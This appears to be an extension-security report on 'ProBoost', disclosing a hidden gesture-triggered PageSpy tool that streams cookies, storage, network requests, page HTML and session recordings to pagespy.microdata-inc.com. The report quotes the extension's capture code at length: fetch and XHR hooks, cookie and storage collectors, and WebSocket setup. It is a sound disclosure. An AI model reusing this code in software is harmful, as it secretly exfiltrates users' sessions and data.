Is ProBoost safe?
ProBoost can stream page network, cookie, storage, console, and recording data to pagespy.microdata-inc.com after a gesture.
ProBoost includes a hidden PageSpy diagnostics tool that activates after a gesture on its matched TikTok Shop, ProBoost, Google, and Kalodata pages. When active, it opens HTTPS and WebSocket connections to pagespy.microdata-inc.com and can send request URLs, headers, bodies, cookies, local or session storage, console output, and recorded page activity.
Who publishes it1 other listing from the same operator, none carrying a finding
1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 1k+ users between them, none of them carrying a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
PageSpy diagnostics transmit page data after a gesture
A U,U,D,D,L,L,R,R gesture on ProBoost's pages starts PageSpy.
We observed a POST to pagespy.microdata-inc.com/api/v1/room/create, then a WebSocket room on that host.
Plugins can forward traffic, cookies, storage, HTML, recordings.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You perform the configured U,U,D,D,L,L,R,R gesture while on a page covered by the extension.
The extension starts PageSpy diagnostics, creates a remote room, and can forward page, network, cookie, and storage events from that page.
- Page request URL and methodurl=https://seller.us.tiktokglobalshop.com/api/orders, method=POST (illustrative)
Shows which page request happened while diagnostics were active.
- Request headersrequestHeader=[["content-type","application/json"]] (illustrative)
Can include app metadata that your browser sends with a page request.
- Request payloadrequestPayload={"keyword":"summer dress","region":"US"} (illustrative)
Can include values you submit through fetch or XMLHttpRequest on the matched page.
- Response headers and bodyresponseHeader=[["content-type","application/json"]], response={"status":"ok"} (illustrative)
Can reveal server responses returned to your browser while the diagnostic client is active.
- Cookiesdata=[{"name":"ttwid","value":"1%7Cabc123%7C1700000000%7Cabcdef"}] (illustrative)
Can identify your signed-in browser state on a covered site.
- Storage entriestype=localStorage, data=[{"name":"shop_region","value":"US"}] (illustrative)
Can reveal saved app state and identifiers that the matched page keeps in your browser.
- Page HTML and recording eventstype=rrweb-event with input and mutation data (illustrative)
Can reveal page text, page structure, and form activity visible in the tab.
PageSpy is loaded only after the configured gesture, then creates a room and WebSocket URL
ProBoost content script bootstrap
assets/main.tsx.ff93c37d.jsasync function kQn() { let e, t, n; try { const [a, r, i] = await Promise.all([ VP(() => import("./index.min.97eb9b8c.js"), []), VP(() => import("./index.min.e91a0245.js"), []), VP(() => import("./index.min.2ed666bd.js"), []), ]); if ( ((e = a.default), (t = r.default), (n = i.default), typeof e > "u" || typeof t > "u" || typeof n > "u") ) return; ((window.$harbor = new t()), (window.$rrweb = new n()), [window.$harbor, window.$rrweb].forEach((o) => { try { e.registerPlugin(o); } catch {} }), (window.$pageSpy = new e({ api: "pagespy.microdata-inc.com", clientOrigin: "https://pagespy.microdata-inc.com", title: "ProBoost", lang: "zh", modal: { title: "proboost\u65E5\u5FD7\u8BBF\u95EE", logo: "https://picbed.microdata-inc.com/nas/20241126af40ef95d9e4404189ffb3d0fd6d47a4.png", }, logo: "https://picbed.microdata-inc.com/nas/20241126af40ef95d9e4404189ffb3d0fd6d47a4.png", gesture: ["U", "U", "D", "D", "L", "L", "R", "R"], }))); } catch { try { (window.$harbor && delete window.$harbor, window.$rrweb && delete window.$rrweb, window.$pageSpy && delete window.$pageSpy); } catch {} }}PageSpy constructor waits for the gesture before init
assets/index.min.97eb9b8c.jsclass PageSpy { constructor() { let s = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : {}; if ( (_defineProperty(this, "root", null), _defineProperty(this, "version", version), _defineProperty(this, "request", null), _defineProperty(this, "address", ""), _defineProperty(this, "socketStore", socketStore), _defineProperty(this, "config", new Config()), _defineProperty(this, "cacheTimer", null), _defineProperty(this, "eventBus", eventBus), PageSpy.instance) ) return (psLog.warn("Cannot initialize PageSpy multiple times"), PageSpy.instance); const l = this.config.mergeConfig(s); l.gesture ? a(l.gesture, () => { PageSpy.instance || this.init(); }) : this.init(); }}PageSpy init triggers plugins and opens the connection
assets/index.min.97eb9b8c.jsclass PageSpy { async init() { PageSpy.instance = this; const s = this.config.get(); (s.lang && i18n.setLang(s.lang), this.updateConfiguration(), this.triggerPlugins("onInit", { config: s, socketStore }), s.offline === !1 && ((this.request = new Request(s)), this.cacheIsInvalid() ? await this.createNewConnection() : this.useOldConnection(), document.addEventListener("visibilitychange", () => { !document.hidden && socketStore.getSocket().getState() !== SocketState.OPEN && socketStore.connectable && this.useOldConnection(); })), psLog.log("Plugins inited"), this.eventBus.dispatchEvent(new Event("core:inited")), s.autoRender && this.render()); }}PageSpy creates a new room and initializes socketStore
assets/index.min.97eb9b8c.jsclass PageSpy { async createNewConnection() { if (!this.request) return void psLog.error("Cannot get the Request"); const s = await this.request.createRoom(); ((this.address = s.address), socketStore.init(s.roomUrl), sessionStorage.removeItem(ROOM_SESSION_KEY), this.refreshRoomInfo()); }}Room creation and WebSocket join URL builder
assets/index.min.97eb9b8c.jsclass Request { constructor(s) { if (((this.config = s), !s.api)) throw Error("The api base url cannot be empty"); } get base() { return this.config.api; } getScheme() { return this.config.enableSSL ? ["https://", "wss://"] : ["http://", "ws://"]; } createRoom() { const { project: s, title: l, useSecret: d, secret: p } = this.config, h = this.getScheme(), y = joinQuery({ name: navigator.userAgent, group: s, title: l }); return fetch("".concat(h[0]).concat(this.base, "/api/v1/room/create?").concat(y), { method: "POST", body: JSON.stringify({ useSecret: d, secret: p }), }) .then((f) => f.json()) .then((f) => { const { name: g, address: m } = f.data || {}; return { roomUrl: this.getRoomUrl(m), address: m, name: g }; }) .catch((f) => { throw Error("Request create room failed: ".concat(f.message)); }); } getRoomUrl(s) { const l = this.getScheme(), { useSecret: d, secret: p } = this.config; return "" .concat(l[1]) .concat(this.base, "/api/v1/ws/room/join?") .concat( joinQuery({ address: s, name: "client:".concat(getRandomId()), userId: "Client", forceCreate: !0, useSecret: d, secret: p, }), ); }}Registered plugins collect network, storage, cookies, page HTML, and rrweb events
Network item fields
assets/index.min.97eb9b8c.jsclass RequestItem { constructor(s) { (_defineProperty(this, "id", ""), _defineProperty(this, "method", ""), _defineProperty(this, "url", ""), _defineProperty(this, "requestType", "xhr"), _defineProperty(this, "requestHeader", null), _defineProperty(this, "status", 0), _defineProperty(this, "statusText", ""), _defineProperty(this, "readyState", 0), _defineProperty(this, "response", void 0), _defineProperty(this, "responseReason", null), _defineProperty(this, "responseType", ""), _defineProperty(this, "responseHeader", null), _defineProperty(this, "startTime", 0), _defineProperty(this, "endTime", 0), _defineProperty(this, "costTime", 0), _defineProperty(this, "postData", null), _defineProperty(this, "requestPayload", null), _defineProperty(this, "withCredentials", !1), _defineProperty(this, "lastEventId", ""), (this.id = s)); }}Network messages are dispatched and broadcast
assets/index.min.97eb9b8c.jsclass NetworkProxyBase { constructor(s) { (_defineProperty(this, "socketStore", void 0), _defineProperty(this, "reqMap", Object.create(null)), (this.socketStore = s)); } getRequestMap() { return this.reqMap; } getRequest(s) { return this.reqMap[s]; } removeRequest(s) { delete this.reqMap[s]; } createRequest(s) { return s ? this.reqMap[s] ? (psLog.warn("The request object has been in store, disallow duplicate create"), !1) : ((this.reqMap[s] = new RequestItem(s)), !0) : (psLog.warn('The "id" is required when init request object'), !1); } setRequest(s, l) { return !(!s || !l) && ((this.reqMap[s] = l), !0); } sendRequestItem(s, l) { var d; if ( ((d = NetworkProxyBase.dataProcessor) === null || d === void 0 ? void 0 : d.call(NetworkProxyBase, l)) !== !1 ) try { this.reqMap[s] || (this.reqMap[s] = l); const p = makeMessage("network", { ...l }, !1); (this.socketStore.dispatchEvent("public-data", p), this.socketStore.broadcastMessage(p, l.readyState !== ReqReadyState.DONE), this.deferDeleteRequest(s)); } catch (p) { psLog.error(p.message); } } deferDeleteRequest(s) { const l = this.getRequest(s); l && l.readyState === ReqReadyState.DONE && setTimeout(() => { delete this.reqMap[s]; }, 3e3); }}XMLHttpRequest proxy
assets/index.min.97eb9b8c.jsclass XhrProxy extends WebNetworkProxyBase { constructor() { (super(), _defineProperty(this, "xhrOpen", null), _defineProperty(this, "xhrSend", null), _defineProperty(this, "xhrSetRequestHeader", null), this.initProxyHandler()); } initProxyHandler() { const s = this; if (!window.XMLHttpRequest) return; const { open: l, send: d, setRequestHeader: p } = window.XMLHttpRequest.prototype; ((this.xhrOpen = l), (this.xhrSend = d), (this.xhrSetRequestHeader = p), (window.XMLHttpRequest.prototype.open = function () { const h = this; for (var y = arguments.length, f = new Array(y), g = 0; g < y; g++) f[g] = arguments[g]; const m = f[0], S = f[1], v = getRandomId(); s.createRequest(v); const b = s.getRequest(v); return ( b && ((b.url = new URL(S, window.location.href).toString()), (b.method = m.toUpperCase()), (b.requestType = "xhr")), (this.pageSpyRequestId = v), (this.pageSpyRequestMethod = m), (this.pageSpyRequestUrl = S), h.addEventListener("readystatechange", async () => { if (b) { switch (((b.readyState = h.readyState), h.readyState)) { case h.UNSENT: case h.OPENED: ((b.status = h.status), (b.statusText = "Pending"), b.startTime || (b.startTime = Date.now())); break; case h.HEADERS_RECEIVED: ((b.status = h.status), (b.statusText = "Loading")); const T = (h.getAllResponseHeaders() || "").trim().split(/[\r\n]+/); b.responseHeader = T.reduce((I, P) => { const [A, ...R] = P.split(": "); return (I.push([A, R.join(": ")]), I); }, []); break; case h.LOADING: ((b.status = h.status), (b.statusText = "Loading")); break; case h.DONE: ((b.status = h.status), (b.statusText = "Done"), (b.endTime = Date.now()), (b.costTime = b.endTime - (b.startTime || b.endTime))); const E = await s.formatResponse(h); getObjectKeys(E).forEach((I) => { b[I] = E[I]; }); break; default: ((b.status = h.status), (b.statusText = "Unknown")); } s.sendRequestItem(h.pageSpyRequestId, b); } else psLog.warn( "The request object is not found on XMLHttpRequest's readystatechange event", ); }), l.apply(h, f) ); }), (window.XMLHttpRequest.prototype.setRequestHeader = function (h, y) { const f = s.getRequest(this.pageSpyRequestId); return ( f ? (f.requestHeader || (f.requestHeader = []), f.requestHeader.push([String(h), String(y)])) : psLog.warn( "The request object is not found on XMLHttpRequest's setRequestHeader event", ), p.apply(this, [h, y]) ); }), (window.XMLHttpRequest.prototype.send = function (h) { const y = this, { pageSpyRequestId: f } = y, g = s.getRequest(f); return ( g ? ((g.responseType = y.responseType), (g.withCredentials = y.withCredentials), g.method !== "GET" && ((g.requestHeader = addContentTypeHeader(g.requestHeader, h)), getFormattedBody(h).then((m) => { ((g.requestPayload = m), s.sendRequestItem(y.pageSpyRequestId, g)); }))) : psLog.warn("The request object is not found on XMLHttpRequest's send event"), d.apply(y, [h]) ); })); } reset() { (this.xhrOpen && (window.XMLHttpRequest.prototype.open = this.xhrOpen), this.xhrSend && (window.XMLHttpRequest.prototype.send = this.xhrSend), this.xhrSetRequestHeader && (window.XMLHttpRequest.prototype.setRequestHeader = this.xhrSetRequestHeader)); } async formatResponse(s) { const l = { response: "", responseReason: null }; switch (s.responseType) { case "": case "text": if (isString(s.response)) try { l.response = JSON.parse(s.response); } catch { l.response = s.response; } else s.response !== void 0 && (l.response = toStringTag(s.response)); break; case "json": s.response !== void 0 && (l.response = s.response); break; case "blob": case "arraybuffer": if (s.response) { let d = s.response; if (isArrayBuffer(d)) { const p = s.getResponseHeader("content-type"); p && (d = new Blob([d], { type: p })); } if (isBlob(d)) if (d.size <= MAX_SIZE) try { l.response = await blob2base64Async(d); } catch (p) { ((l.response = await d.text()), psLog.error(p.message)); } else ((l.response = "[object Blob]"), (l.responseReason = Reason.EXCEED_SIZE)); } break; default: s.response !== void 0 && (l.response = Object.prototype.toString.call(s.response)); } return l; }}fetch proxy
assets/index.min.97eb9b8c.jsclass FetchProxy extends WebNetworkProxyBase { constructor() { (super(), _defineProperty(this, "fetch", null), this.initProxyHandler()); } reset() { this.fetch && (window.fetch = this.fetch); } initProxyHandler() { const s = this, l = window.fetch; l && ((this.fetch = l), (window.fetch = function (d) { let p = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {}; const h = l(d, p), y = getRandomId(); s.createRequest(y); const f = s.getRequest(y); if (f) { let g, m = "GET", S = null; (isString(d) || isURL(d) ? ((m = p.method || "GET"), (g = d), (S = p.headers || null)) : ((m = d.method), (g = d.url), (S = d.headers)), (f.url = new URL(g, window.location.href).toString()), (f.method = m.toUpperCase()), (f.requestType = "fetch"), (f.status = 0), (f.statusText = "Pending"), (f.startTime = Date.now()), (f.readyState = XMLHttpRequest.UNSENT), p.credentials && p.credentials !== "omit" && (f.withCredentials = !0), S && (isHeaders(S) ? (f.requestHeader = [...S.entries()]) : isObjectLike(S) ? (f.requestHeader = Object.entries(S).map((v) => { let [b, T] = v; return [String(b), String(T)]; })) : (f.requestHeader = S.map((v) => { let [b, T] = v; return [String(b), String(T)]; }))), f.method !== "GET" && ((f.requestHeader = addContentTypeHeader(f.requestHeader, p.body)), getFormattedBody(p.body).then((v) => { ((f.requestPayload = v), s.sendRequestItem(y, f)); })), s.sendRequestItem(y, f), h .then((v) => { ((f.endTime = Date.now()), (f.costTime = f.endTime - (f.startTime || f.endTime)), (f.status = v.status || 200), (f.statusText = v.statusText || "Done"), (f.responseHeader = [...v.headers.entries()]), (f.readyState = XMLHttpRequest.HEADERS_RECEIVED), s.sendRequestItem(y, f)); const b = v.headers.get("content-type"); if (b) { if (b.includes("application/json")) return ((f.responseType = "json"), v.clone().text()); if (b.includes("text/html") || b.includes("text/plain")) return ((f.responseType = "text"), v.clone().text()); } return ((f.responseType = "blob"), v.clone().blob()); }) .then(async (v) => { switch (f.responseType) { case "text": case "json": try { f.response = JSON.parse(v); } catch { ((f.response = v), (f.responseType = "text")); } break; case "blob": const b = v; if (b.size <= MAX_SIZE) try { f.response = await blob2base64Async(b); } catch (T) { ((f.response = await b.text()), psLog.error(T.message)); } else ((f.response = "[object Blob]"), (f.responseReason = Reason.EXCEED_SIZE)); } }) .finally(() => { ((f.readyState = XMLHttpRequest.DONE), s.sendRequestItem(y, f)); })); } else psLog.warn("The request object is not found on window.fetch event"); return h; })); }}Storage and cookie collector
assets/index.min.97eb9b8c.jsclass StoragePlugin { constructor() { (_defineProperty(this, "name", "StoragePlugin"), _defineProperty(this, "originSetItem", null), _defineProperty(this, "originRemoveItem", null), _defineProperty(this, "originClear", null), _defineProperty(this, "cookieStoreChangeListener", null), _defineProperty(this, "$pageSpyConfig", null)); } onInit(s) { let { config: l } = s; StoragePlugin.hasInitd || ((StoragePlugin.hasInitd = !0), (this.$pageSpyConfig = l), this.listenRefreshEvent(), this.onceInitPublicData(), this.initStorageProxy(), socketStore.addListener("harbor-clear", () => { this.onceInitPublicData(); })); } onReset() { (this.originClear && (Storage.prototype.clear = this.originClear), this.originRemoveItem && (Storage.prototype.removeItem = this.originRemoveItem), this.originSetItem && (Storage.prototype.setItem = this.originSetItem), this.cookieStoreChangeListener && window.cookieStore && window.cookieStore.removeEventListener("change", this.cookieStoreChangeListener), (StoragePlugin.hasInitd = !1)); } async sendRefresh(s) { let l = null; switch (s) { case "localStorage": case "sessionStorage": l = this.takeStorage(s); break; case "cookie": l = await this.takeCookie(); } l && this.sendStorageItem(l); } listenRefreshEvent() { socketStore.addListener("refresh", async (s) => { let { source: l } = s; const { data: d } = l; this.sendRefresh(d); }); } takeStorage(s) { const l = { type: s, action: "get", data: [] }, d = window[s], p = d.length; if (!p) return l; for (let h = 0; h <= p - 1; h++) { const y = d.key(h); if (y) { const f = d.getItem(y) || ""; l.data.push({ name: y, value: f }); } } return l; } async takeCookie() { const s = { type: "cookie", action: "get", data: [] }; return ( window.cookieStore ? (s.data = await window.cookieStore.getAll()) : document.cookie && (s.data = document.cookie.split("; ").map((l) => { const [d, p] = l.split("="); return { name: d, value: p }; })), s ); } initStorageProxy() { const { clear: s, removeItem: l, setItem: d } = Storage.prototype; ((this.originClear = s), (this.originRemoveItem = l), (this.originSetItem = d)); const p = this; ((Storage.prototype.clear = function () { s.call(this); const h = { type: p.getStorageType(this), action: "clear" }; p.sendStorageItem(h); }), (Storage.prototype.removeItem = function (h) { l.call(this, h); const y = { type: p.getStorageType(this), action: "remove", name: String(h) }; p.sendStorageItem(y); }), (Storage.prototype.setItem = function (h, y) { d.call(this, h, y); const f = { type: p.getStorageType(this), action: "set", name: String(h), value: String(y), }; p.sendStorageItem(f); }), window.cookieStore && ((this.cookieStoreChangeListener = (h) => { const { changed: y, deleted: f } = h; (y.length > 0 && y.forEach((g) => { const m = { type: "cookie", action: "set", ...g }; this.sendStorageItem(m); }), f.length > 0 && f.forEach((g) => { const m = { type: "cookie", action: "remove", name: g.name }; this.sendStorageItem(m); })); }), window.cookieStore.addEventListener("change", this.cookieStoreChangeListener))); } async onceInitPublicData() { ( await Promise.all([ this.takeStorage("localStorage"), this.takeStorage("sessionStorage"), this.takeCookie(), ]) ).forEach((s) => { var l, d; if ( ((l = this.$pageSpyConfig) === null || l === void 0 || (l = l.dataProcessor) === null || l === void 0 || (d = l.storage) === null || d === void 0 ? void 0 : d.call(l, s)) === !1 ) return; const p = makeMessage("storage", s); socketStore.dispatchEvent("public-data", p); }); } getStorageType(s) { return s === localStorage ? "localStorage" : s === sessionStorage ? "sessionStorage" : s.constructor.name; } sendStorageItem(s) { var l, d; if ( ((l = this.$pageSpyConfig) === null || l === void 0 || (l = l.dataProcessor) === null || l === void 0 || (d = l.storage) === null || d === void 0 ? void 0 : d.call(l, s)) === !1 ) return; const p = makeMessage("storage", s); (socketStore.dispatchEvent("public-data", p), socketStore.broadcastMessage(p, !0)); }}Page HTML collector
assets/index.min.97eb9b8c.jsclass PagePlugin { constructor() { (_defineProperty(this, "name", "PagePlugin"), _defineProperty(this, "$pageSpyConfig", null)); } onInit(s) { let { config: l } = s; PagePlugin.hasInitd || ((PagePlugin.hasInitd = !0), (this.$pageSpyConfig = l), socketStore.addListener("refresh", (d, p) => { let { source: h } = d; const { data: y } = h; if (y === "page") { var f, g; const m = PagePlugin.collectHtml(); if ( ((f = this.$pageSpyConfig) === null || f === void 0 || (f = f.dataProcessor) === null || f === void 0 || (g = f.page) === null || g === void 0 ? void 0 : g.call(f, m)) === !1 ) return; const S = makeMessage("page", m); (socketStore.dispatchEvent("public-data", S), p(S)); } })); } onReset() { PagePlugin.hasInitd = !1; } static collectHtml() { return { html: document.documentElement.outerHTML, location: window.location }; }}rrweb event plugin
assets/index.min.2ed666bd.jsclass Et { constructor() { let t = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : {}; (Pt(this, "name", "RRWebPlugin"), Pt(this, "stopListener", null), (this.options = t)); } onInit(t) { let { socketStore: n } = t; if ( typeof window != "object" || typeof document != "object" || Object.prototype.toString.call(document) !== "[object HTMLDocument]" ) return void ye.warn("".concat(this.name, " can only used in browser environment")); if (!MutationObserver) return void ye.warn( "".concat( this.name, " built on the MutationObserver API and it's not detected in the current browser", ), ); if (Et.hasInited) return; Et.hasInited = !0; const { allowOnline: r = !1, ...o } = this.options, i = St({ ...o, emit(l) { const a = (function (c, s) { return { role: "client", type: c, data: { ...((!(arguments.length > 2 && arguments[2] !== void 0) || arguments[2]) && { id: Math.random().toString(36).slice(2), }), ...s, }, }; })("rrweb-event", l); n.dispatchEvent("public-data", a); }, }); (n.addListener("harbor-clear", () => { St.takeFullSnapshot(); }), i && (this.stopListener = i)); } onReset() { var t; ((t = this.stopListener) === null || t === void 0 || t.call(this), (Et.hasInited = !1)); }}- pagespy.microdata-inc.com
Receives PageSpy room creation requests and the WebSocket diagnostic channel for collected page events.
Where it sends data
Destinations our analysis observed ProBoost contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- pagespy.microdata-inc.com
ProBoost sends data to pagespy.microdata-inc.com. No other extension we have analysed sends data here.